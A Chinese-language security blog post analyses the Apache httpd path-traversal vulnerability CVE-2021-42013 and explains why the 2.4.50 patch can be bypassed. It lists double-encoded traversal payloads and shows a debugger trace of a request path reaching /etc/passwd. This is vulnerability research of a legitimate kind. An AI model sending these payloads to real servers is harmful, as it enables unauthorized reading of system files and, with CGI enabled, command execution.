当前位置: 首页 > 技术干货 > CVE-2021-42013 Apache HTTP Server 路径穿越漏洞

CVE-2021-42013 Apache HTTP Server 路径穿越漏洞

发表于:2022-03-07 15:22 作者: Ggoodstudy 阅读数(2431人)

前言

CVE-2021-42013为目录穿越文件读取漏洞,影响 httpd 2.4.49,CVE编号为CVE-2021-41773, https 2.4.50不完全修复可绕过,如果开启 mod_cgi 则可RCE。

分析

CVE-2021-41773复现分析如下:

利用网上师傅的docker镜像

docker run -p 8080:80 -d --privileged turkeys/httpd:cve-2021-41773

image.png

环境中有安装好的 pwndbg 插件,直接按步调试即可,这里参考Betta师傅的文章

正文

CVE-2021-41773不完全的修复导致了 CVE-2021-42013

可用的 payload 有

/%2%65./
/%2%65%2e/
/.%2%65/
/%2e%2%65/  
/%2%65%2%65/
/%%32e%%32e/
/%25%32%65%25%32%65/ # 无法生效 ap_normalize_path 不能将 %25 进行url解码处理后为 % 

我们注意到 https 2.4.50 中添加了补丁

image.png

添加的补丁是对 .%2e 和 %2e%2e 进行了校验,但是我们在 request.c 中注意到还会调用 ap_unescape_url 来对 url 进行又一次的编码,所以通过两次编码就可以绕过

image.png

request.c::ap_process_request_internal

image.png

util.c:ap_normalize_path

image.png

返回结果为一次编码后的结果

image.png

util.c:ap_unescape_url

image.png

util.c:ap_unescape_url

image.png

我们看到此时保存值的指针地址 0x7fa06c00a1f0 ◂— '/cgi-bin/%2e./%2e./%2e./%2e./%2e./etc/passwd'

函数执行结束后 打印出 0x7fa06c00a1f0  对应的值

image.png

发现已经对 url 进行了再一次的解码

命令执行

在 /etc/httpd/httpd.conf 配置文件中去掉 mod_cgid.so 的注释

image.png

image.png

结语

至此,CVE-2021-42013的漏洞分析到此结束,如有不当感谢师傅指出!!!

参考链接

https://mp.weixin.qq.com/s/IYbaDLrMJBT0yb4xT3UYWg